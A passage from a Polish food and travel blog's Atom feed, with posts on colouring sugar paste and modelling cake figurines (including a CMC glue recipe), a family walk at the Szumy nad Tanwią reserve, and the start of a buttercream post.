class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://live.staticflickr.com/7866/45913402204_57936a6f48_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;534&quot; src=&quot;https://live.staticflickr.com/7866/45913402204_57936a6f48_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;Masa cukrowa w kolorze brązowym&lt;/b&gt;. Niezbędna do wszelkich elementów drewnianych i nie tylko. Przydatna w szczególności jeśli mamy zrobić ciemnobrązowy element np. korę, płotek, misia.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Masa cukrowa do figurek - czego unikać&lt;/h3&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;Barwienie dużej ilości masy cukrowej żelowym barwnikiem&lt;/b&gt;. Masa zacznie robić się coraz bardziej klejąca i rzadka. Nawet jeśli się nam to uda figurka może być długo zbyt miękka i niestabilna. Ratunkiem jest dodanie CMC lub skrobi ziemniaczanej.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Dodawanie zbyt dużej ilości skrobi ziemniaczanej&lt;/b&gt;. Do podsypania powierzchni roboczej używam skrobi. Na początku jednak brakowało mi wyczucia i przy pomyłkach takie podsypywanie skutkowało szybkim przesuszaniem masy, pękaniem i powstawaniem nieestetycznych &quot;zmarszczek&quot;.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Dodanie zbyt dużej ilości CMC&lt;/b&gt;. Klej CMC powoduje jeszcze szybsze wysychanie masy niż skrobia, dlatego jego użycie zalecam w mocno ograniczonej ilości. Stosuję go głównie do elementów lekkich, strzelistych, które są podstawą dla innych np. smukła i wysoka podstawa chrzcielnicy.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Barwienie docelowej porcji masy. &lt;/b&gt;Jeśli nie jesteś pewna jaki kolor uzyskasz z pomieszania dwóch różnych, wypróbuj to na małej ilości masy. Szczególnie jeśli nie masz doświadczenia. Otrzymywanie niektórych odcieni jest takie proste jak się nam zdaje. Żeby sprostać zamierzeniom i jak najbardziej zbliżyć się do oczekiwania, warto na początku wymieszać sobie małe kuleczki w określonych kolorach zwracając uwagę na proporcje. Polecam również wyszukanie filmików z kolorowymi kulkami masy, które pokazują jakie kolory otrzymujemy z połączenia innych.&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/825202528713064673/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2021/04/barwienie-masy-cukrowej-i-figurki-na.html#comment-form' title='Komentarze (0)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/825202528713064673'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/825202528713064673'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2021/04/barwienie-masy-cukrowej-i-figurki-na.html' title='Barwienie masy cukrowej do figurek na tort'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_kmp4dArm-uOR6NlwLrKHuw_hFNNRXe5DDEgfsm9YxWkF8j4SCrJeNQU58QFu2UODZW736hrcrGYrGWiVtXFJI60ABRSYhFX6a0vJ39SqdY6ROGwxK8eEKsOMfBfOZWrLlbMshDt7amc/s72-c/Jednoro%25C5%25BCec+na+torcie.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-2906120881545443216</id><published>2021-04-08T13:59:00.053+02:00</published><updated>2021-04-09T00:26:05.857+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="gdzie na weekend"/><category scheme="http://www.blogger.com/atom/ns#" term="las"/><category scheme="http://www.blogger.com/atom/ns#" term="Podróże"/><category scheme="http://www.blogger.com/atom/ns#" term="Polska"/><category scheme="http://www.blogger.com/atom/ns#" term="pomysł na weekend"/><category scheme="http://www.blogger.com/atom/ns#" term="rodzinny wypad"/><category scheme="http://www.blogger.com/atom/ns#" term="Roztocze"/><category scheme="http://www.blogger.com/atom/ns#" term="spacer"/><category scheme="http://www.blogger.com/atom/ns#" term="Susiec"/><category scheme="http://www.blogger.com/atom/ns#" term="Szumy nad Tanwią"/><category scheme="http://www.blogger.com/atom/ns#" term="turystyka"/><category scheme="http://www.blogger.com/atom/ns#" term="weekend"/><category scheme="http://www.blogger.com/atom/ns#" term="wodospady"/><title type='text'>Szumy nad Tanwią i leśna ścieżka przyrodnicza</title><content type='html'>&lt;p style=&quot;text-align: left;&quot;&gt;&amp;nbsp;Też macie już po dziurki w nosie pandemii? Zaczyna się wiosna, a wraz z nią kolejny rok z obostrzeniami. Nam jednak to nie przeszkadza. Razem we czwórkę znajdujemy miejsca, w których bez problemu można odetchnąć świeżym powietrzem. Tym samym zaczynam cykl dedykowany rodzinom z dziećmi - tymi małymi i nieco większymi - polecający gdzie można wybrać się poza miejski zgiełk i miło spędzić czas.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Nie jest to nowość na tym blogu, ponieważ we wcześniejszych wpisach możecie znaleźć &lt;a href=&quot;https://aleksandraw.blogspot.com/2018/05/chorwacja-czyli-gdzie-na-wakacje.html&quot;&gt;foto relację z Chorwacji&lt;/a&gt; a także z &lt;a href=&quot;https://aleksandraw.blogspot.com/2017/05/noc-muzeum-w-zamku-w-ancucie.html&quot;&gt;Nocy Muzeum w Łańcucie&lt;/a&gt;. Tym razem mam zamiar rozpocząć nieco bardziej regularny cykl podróżniczy ;-)&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Gdzie na weekend?&lt;/h3&gt;&lt;p&gt;Pewnie nie raz zadawaliście sobie takie pytanie. Nie zawsze potrzebny jest dłuższy pobyt, żeby móc zregenerować siły, nastroić się dobrą energią i poruszać dla zdrowia. Zwykle jesteśmy zajęci w tygodniu pracą, a dzieci szkołą. Za to weekend nie służy nam do tego, żeby sobie poleżeć i nic nie robić. Dla nas to okazja, żeby móc aktywnie spędzić wspólnie czas. Stąd pomysł na kanał YT &lt;a href=&quot;https://www.youtube.com/channel/UCeF8Hkd4_7DQjHNkxKU2Ehw&quot;&gt;Podróże Małe i Duże&lt;/a&gt;&amp;nbsp; Cyklicznie w miarę możliwości będziemy tam wrzucać dla Was nasze propozycje na aktywny wypoczynek. Jeśli podoba się Wam nasz pomysł, zostawcie komentarz albo zasubskrybujcie nasz kanał.&lt;/p&gt;&lt;p&gt;Na pierwszy wpis wybraliśmy miejsce, które o każdej porze roku wygląda wyjątkowo. Zwykle jeździmy tu latem, szukając odpoczynku od żaru lejącego się z nieba. Tym razem jednak nad Szumami podziwialiśmy budzącą się do życia wiosnę. Z pewnością za parę tygodni będzie tu jeszcze piękniej, a na ścieżkach będzie można zastać interesujące owady i ptaki, a z odrobiną szczęścia także węże. Teraz zaskakuje nas tu spokój, brak wielu spacerowiczów, krystaliczna woda i oczywiście jej uspokajający szum.&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCjeVFj-WJrIuxUmbXAEjckiFWzGiArA3ddQUcrSdg3Uyv2siEerj933RUDd6SKjcXdJHE-ZNEdNRLWgFAuMl3u_LegepCEG_EGiveMilgJpMR6BimPVOsToov5e6T1eq53KjH9eCnW0o/s1600/1617883501199.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Szumy nad Tanwią&quot; border=&quot;0&quot; data-original-height=&quot;1600&quot; data-original-width=&quot;1062&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCjeVFj-WJrIuxUmbXAEjckiFWzGiArA3ddQUcrSdg3Uyv2siEerj933RUDd6SKjcXdJHE-ZNEdNRLWgFAuMl3u_LegepCEG_EGiveMilgJpMR6BimPVOsToov5e6T1eq53KjH9eCnW0o/s16000/1617883501199.jpg&quot; title=&quot;Szumy nad Tanwią&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Szumy nad Tanwią i leśna ścieżka przyrodnicza dla dzieci&lt;/h3&gt;&lt;div&gt;&lt;b&gt;Rezerwat Szumy nad Tanwią&lt;/b&gt; to niezwykłe miejsce. Nadaje się na wielokrotne spacery różnymi ścieżkami. Mnogość możliwości sprawia, że nie prędko znudzi się nam ten kojący azyl.  Miejsce to chroni najpiękniejsze fragmenty dolin rzeki Jeleń i Tanew wraz z seriami małych wodospadów.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Zanim jednak dotrzemy do szumów, warto zacząć swoją wędrówkę od lasu kierując się do pierwszej tablicy ścieżki przy prawej stronie parkingu (mapa poniżej). W poniższym filmie możecie zobaczyć trasę wiodącą ścieżką przyrodniczą, która zaczyna się po prawej stronie parkingu, gdzie stoi pierwsza tablica informacyjna. Dalej idziemy za białymi strzałkami z czerwonym&amp;nbsp; przekreśleniem. Przechodzimy przez bór sosnowy. Drzewa i ich wysokość zrobią wrażenie nie tylko na najmłodszych. Spójrz w górę i poczuj jak jesteś mały względem otaczającej cię przyrody.&amp;nbsp;&lt;/div&gt;&lt;div&gt;Następnie przez drewnianą kładę docieramy do śródleśnej łąki. Tu z odrobiną szczęścia spotkamy leśne ptaki, a może nawet żerującego bociana. Kolejny przystanek zakole rzeki, które uchyla nieco rąbka naszego celu. Później tablica opisująca zwierzęta zamieszkujące leśny podszyt. W spokoju docieramy do miejsca biwakowego. Jeśli macie ze sobą coś do jedzenia znajduje się tu drewniana ławka i stół. Czas na przerwę...&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&quot;&quot; class=&quot;BLOG_video_class&quot; height=&quot;364&quot; src=&quot;https://www.youtube.com/embed/lwzFiQUb_tQ&quot; width=&quot;481&quot; youtube-src-id=&quot;lwzFiQUb_tQ&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;W końcu słyszymy w oddali szumiącą rzekę. To nasz docelowy przystanek. Za malowniczą drewnianą kładką pojawiają się szumiące stopnie rzeki. To tutaj. Możemy przycupnąć blisko nad brzegiem i rozkoszować się kojącym dźwiękiem wody. Amatorzy fotografii z pewnością wykorzystają tę chwilę dla uwiecznienia spływającej w dół rzeki.&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Zarówno wiosną jak i o każdej porze roku szumy nad Tanwią prezentują się w sposób niezwykły. Wiosną nieśmiało budzące się do życia, odarte z liści, widoczne jak nigdy. Latem dające wytchnienie od żaru lejącego się z nieba. Jesienią otulone złoto-czerwoną kołderką liści. Zimą surowo skute lodem i przykryte śniegiem.&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Każda pora roku dodaje temu miejscu wyjątkowości.&amp;nbsp;&lt;/div&gt;&lt;h3 style=&quot;clear: both; text-align: left;&quot;&gt;Co warto zobaczyć w okolicy?&lt;/h3&gt;&lt;div&gt;W okolicy znajduje się kilka innych atrakcji przyrodniczych. Fani aktywności sportowej mogą pokusić się na &lt;b&gt;spływ kajakami &lt;/b&gt;po Tanwi. Miłośników przyrody skusi wędrówka na&lt;b&gt; Czartowe Pole&lt;/b&gt; (oddalone o 12 minut drogi samochodem) lub niedaleki&amp;nbsp;&lt;b&gt;Kamieniołom Nowiny&lt;/b&gt;&amp;nbsp;(oddalony o 10 minut drogi samochodem).&lt;/div&gt;&lt;h3 style=&quot;clear: both; text-align: left;&quot;&gt;Jak dojechać?&lt;/h3&gt;&lt;div&gt;Dojazd do tego miejsca nie jest trudny. Parking znajduje się tuż przy drodze. W sezonie większego ruchu jest płatny.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&quot;&quot; height=&quot;450&quot; loading=&quot;lazy&quot; src=&quot;https://www.google.com/maps/embed?pb=!1m16!1m12!1m3!1d81360.12890922608!2d23.099752359390106!3d50.41308017530656!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!2m1!1sszumy%20nad%20tanwi%C4%85!5e0!3m2!1spl!2spl!4v1617900014239!5m2!1spl!2spl&quot; style=&quot;border: 0;&quot; width=&quot;600&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/2906120881545443216/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2021/04/szumy-nad-tanwia-i-lesna-sciezka.html#comment-form' title='Komentarze (1)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/2906120881545443216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/2906120881545443216'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2021/04/szumy-nad-tanwia-i-lesna-sciezka.html' title='Szumy nad Tanwią i leśna ścieżka przyrodnicza'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCjeVFj-WJrIuxUmbXAEjckiFWzGiArA3ddQUcrSdg3Uyv2siEerj933RUDd6SKjcXdJHE-ZNEdNRLWgFAuMl3u_LegepCEG_EGiveMilgJpMR6BimPVOsToov5e6T1eq53KjH9eCnW0o/s72-c/1617883501199.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-8207982884034262817</id><published>2018-11-05T22:25:00.001+01:00</published><updated>2021-04-08T18:32:41.814+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CMC"/><category scheme="http://www.blogger.com/atom/ns#" term="DIY"/><category scheme="http://www.blogger.com/atom/ns#" term="Dla dzieci"/><category scheme="http://www.blogger.com/atom/ns#" term="figurki na tort"/><category scheme="http://www.blogger.com/atom/ns#" term="Saracino"/><category scheme="http://www.blogger.com/atom/ns#" term="torty"/><title type='text'>ABC: Figurki z masy cukrowej Saracino</title><content type='html'>Dziś o małych figurkach z masy. Piekąc torty prędzej czy później skusicie się na przygotowanie takiej całkowicie amatorskiej figurki misia, kotka, słonika, króliczka czy też ulubionej postaci z bajki. Te ostatnie będą z pewnością na początku najtrudniejsze, ponieważ poza opanowaniem samej masy niezbędne będzie również odwzorowanie proporcji i podobieństwa. Dlatego dziś skupię się tylko na prostych, uroczych i niewielkich figurkach.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKS9jTBRKBIn37G8_MpSwxbGmKifNOiacBnmogQy64lBwFAvkc-_YlZSq_8IKKWLBY2_YtbKpDe91TkvfUbubOAtlzRchuwmFhdKN3B3ucCXl6fbRgvR5PtTDYSJqhS9UY3CscoHrh6QU/s1600/45004056764_f2069cca93_k.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1600&quot; data-original-width=&quot;1200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKS9jTBRKBIn37G8_MpSwxbGmKifNOiacBnmogQy64lBwFAvkc-_YlZSq_8IKKWLBY2_YtbKpDe91TkvfUbubOAtlzRchuwmFhdKN3B3ucCXl6fbRgvR5PtTDYSJqhS9UY3CscoHrh6QU/s1600/45004056764_f2069cca93_k.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;h3&gt;
Od czego zacząć?&lt;/h3&gt;
Do zrobienia figurki potrzebna będzie &lt;b&gt;odpowiednia masa cukrowa&lt;/b&gt;. Oczywiście możemy sobie poradzić też ze zwykłą, nawet taką do obkładania tortów, ale będzie się z nią pracowało o wiele gorzej. Jestem amatorką, więc na początku nie miałam pojęcia, że są specjalne masy przeznaczone do figurek, dlatego pierwsze misie robiłam właśnie ze zwykłej masy cukrowej z dodatkiem &lt;b&gt;CMC&lt;/b&gt;. Ten drugi tajemniczy składnik jest również niezbędny w przypadku tworzenia figurek. CMC to specjalny &lt;b&gt;klej spożywczy&lt;/b&gt;. Kupuję go w postaci proszku. Dodany do masy powoduje jej szybsze obsychanie. Ponadto możemy z niego sporządzić klej do sklejania elementów figurki. Niezbędne będą również &lt;b&gt;barwniki spożywcze&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Dodatkowo przydatne okażą się różne kuchenne akcesoria, od których można wykroić małe kółeczka na mordki etc. Doskonale sprawdzą się tutaj tylki do kremów. Możecie wykorzystać ich podstawę do wykrawania niedużych kółek.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;Lista rzeczy do przygotowania:&lt;/b&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;masa do modelowania figurek&lt;/li&gt;
&lt;li&gt;klej CMC&lt;/li&gt;
&lt;li&gt;barwniki spożywcze&lt;/li&gt;
&lt;li&gt;wykrawaczki (kółka, łezki etc.)&lt;/li&gt;
&lt;li&gt;przybory do formowania detali np. skalpel&lt;/li&gt;
&lt;li&gt;surowy makaron typu spaghetti lub bavette (do stabilizacji tułowia i umocowania głowy)&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://c2.staticflickr.com/2/1918/31857581608_c047a5c813_b.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;534&quot; src=&quot;https://c2.staticflickr.com/2/1918/31857581608_c047a5c813_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Figurka wykonana ze zwykłej masy cukrowej z dodatkiem CMC&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;
&lt;/h4&gt;
&lt;h3&gt;
Masa do figurek cukrowych na tort&lt;/h3&gt;
&lt;div&gt;
Odpowiednia masa oszczędzi nam... frustracji :-) Do swoich misiów i innych cudów używam masy do modelowania figurek &lt;b&gt;Saracino&lt;/b&gt;. Można ją kupić w kostce lub w wiaderku w wielu sklepach internetowych.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB6B6YVLKTaWdhBUA18jFVkzZpHEG_tds_oTDGWrLusiLt92BsU3YDoRDR4LvZxRuwZGYPFk5drAU3YOOgoCH7AeveBBRDnbcT03-fM8oDaIp7bWdaVzpE0koTXlE_iGxaeQO7IMEuOYE/s1600/saracino.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;411&quot; data-original-width=&quot;321&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB6B6YVLKTaWdhBUA18jFVkzZpHEG_tds_oTDGWrLusiLt92BsU3YDoRDR4LvZxRuwZGYPFk5drAU3YOOgoCH7AeveBBRDnbcT03-fM8oDaIp7bWdaVzpE0koTXlE_iGxaeQO7IMEuOYE/s1600/saracino.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Masa do modelowania figurek Saracino&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Kostka spokojnie wystarczy na dwie nieduże figurki mniej więcej do 7-8cm wzrostu ;-) Jeśli planujemy wykonać kilka figurek warto zainwestować w wiaderki. Co ważne, szczelnie zamknięta masa nie obsycha tak, jak zwykła masa cukrowa. Wystarczy ją tylko szczelnie zawinąć w worku wypuszczając jak najwięcej pozostałego w środku powietrza, zawinąć dodatkowo w folię spożywczą i zamknąć w wiaderku lub plastikowym pojemniku.&lt;/div&gt;
&lt;h3&gt;
Klej spożywczy CMC do łączenia i nie tylko&lt;/h3&gt;
&lt;div&gt;
Klej spożywczy CMC kupicie w wielu sklepach internetowych z asortymentem tortowym. Możecie nabyć gotowy klej lub lepiej w proszku. Dlaczego? Po pierwsze klej w proszku jest dłużej ważny. Robicie tylko niezbędną ilość, a dodatkowo proszek umożliwia przyspieszenie osuszania masy cukrowej. Dodajemy go w tym celu naprawdę niewiele. Tak naprawdę robię to na wyczucie. Żeby jednak móc to zobrazować dodaję go na palcu w ilości szczypty lub dwóch na 100g masy. Po dodaniu wyrabiam jeszcze chwilę, aby dobrze się rozprowadził w masie po czym sprawnie formuję poszczególne elementy - głowę, tułów, kończyny. Trzeba być przy tym dosyć sprawnym. Nie ma tutaj czasu na powolutkie dopieszczanie szczegółów, dlatego warto dodawać CMC np. tylko do tułowia, który pozostaje już do obeschnięcia, a my w międzyczasie zajmujemy się pozostałymi elementami.&amp;nbsp;&lt;/div&gt;
&lt;h4&gt;
Przepis na żelowy klej spożywczy CMC tzw. tylose glue&lt;/h4&gt;
&lt;div&gt;
Potrzebne będą 1/4 łyżeczki CMC w proszku i 2 łyżki gorącej wody.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Klej w proszku umieszczamy w niewielkim pojemniku z pokrywką. Zalewam wodą, zamykamy i odstawiamy do lodówki na godzinę lub dłużej. Klej wchłonie wodę, stanie się przezroczystą galaretką i jest gotowy do użycia.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Taki klej używamy do mocowania rączek, nóżek, oczu, uszu, ozdobnych posypek etc. Oczywiście dajemy go z umiarem. Moim zdaniem im mniej tym lepiej. Za dużo kleju rozrzedza i spulchnia masę, dłużej schnie i utrudnia pracę.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://c2.staticflickr.com/2/1929/43911493010_4f9d817f79_b.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;600&quot; src=&quot;https://c2.staticflickr.com/2/1929/43911493010_4f9d817f79_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Słonik z masy do modelowania figurek Saracino&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;h3&gt;
Figurki z masy cukrowej kilka ważnych wskazówek na początek&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li&gt;Figurkę przygotowujemy z wyprzedzeniem przynajmniej 24h, aby miała czas wyschnąć.&lt;/li&gt;
&lt;li&gt;Gotowy model suszymy na nieprzywieralnym podłożu np. cienkiej gąbce, która dodatkowo ułatwia wentylację i suszenie lub według uznania na styropianie, marmurowej desce.&lt;/li&gt;
&lt;li&gt;Figurkę umieszczając na torcie stabilizujemy dodatkową wykałaczką. Czyli wbijamy ją od spodu do 1/3 w figurkę i 2/3 w tort lub pół na pół. Uwierzcie, że jeśli przewozicie tort z taką figurką może się ona przewrócić w trakcie transportu.&lt;/li&gt;
&lt;li&gt;Detale malowane dokańczamy po wyschnięciu figurki.&lt;/li&gt;
&lt;li&gt;Nie suszymy figurki gwałtownie, ponieważ może to powodować pęknięcia lub inne nieestetyczne defekty na jej powierzchni.&lt;/li&gt;
&lt;li&gt;Figurka ze zwykłej masy może mocno &quot;pocić się&quot; podczas przechowywania w lodówce, co może odbić się negatywnie na jej wyglądzie. Z masą Saracino nie miałam takich problemów, ale ze zwykłą bywało różnie. Aby uniknąć nieprzyjemności figurkę stawiam na tort najpóźniej jak to możliwe.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Duże elementy takiej jak uszy warto suszyć na nierównej powierzchni, która nada im dodatkowo interesujący kształt. Do uszu królika używałam formy do bagietki. Do kwiatów gąbkę perforowaną.&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/8207982884034262817/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2018/11/abc-figurki-z-masy-cukrowej-saracino.html#comment-form' title='Komentarze (22)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/8207982884034262817'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/8207982884034262817'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2018/11/abc-figurki-z-masy-cukrowej-saracino.html' title='ABC: Figurki z masy cukrowej Saracino'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKS9jTBRKBIn37G8_MpSwxbGmKifNOiacBnmogQy64lBwFAvkc-_YlZSq_8IKKWLBY2_YtbKpDe91TkvfUbubOAtlzRchuwmFhdKN3B3ucCXl6fbRgvR5PtTDYSJqhS9UY3CscoHrh6QU/s72-c/45004056764_f2069cca93_k.jpg" height="72" width="72"/><thr:total>22</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-4778315951165742415</id><published>2018-10-31T11:41:00.002+01:00</published><updated>2018-10-31T12:05:59.976+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="krem maślany"/><category scheme="http://www.blogger.com/atom/ns#" term="kwiaty maślane"/><category scheme="http://www.blogger.com/atom/ns#" term="SMBC"/><category scheme="http://www.blogger.com/atom/ns#" term="Techniki"/><category scheme="http://www.blogger.com/atom/ns#" term="torty"/><title type='text'>Jak uzyskać gładki krem maślany?</title><content type='html'>Dziś miało być o figurkach i masie cukrowej, ale z racji tego, że chcę jeszcze zmontować dodatkowo filmik i zebrać wszystkie materiały w jedno pociągnę temat kremu maślanego, o który wiele osób pytało na &lt;a href=&quot;https://instagram.com/odkuchni123/&quot; target=&quot;_blank&quot;&gt;instagramie&lt;/a&gt;. Będzie to zarazem kontynuacja poprzedniego wpisu - &lt;a href=&quot;https://aleksandraw.blogspot.com/2018/10/krem-maslany-wszystko-co-powinno-sie-o.html&quot; target=&quot;_blank&quot;&gt;ABC kremu maślanego&lt;/a&gt;, a więc 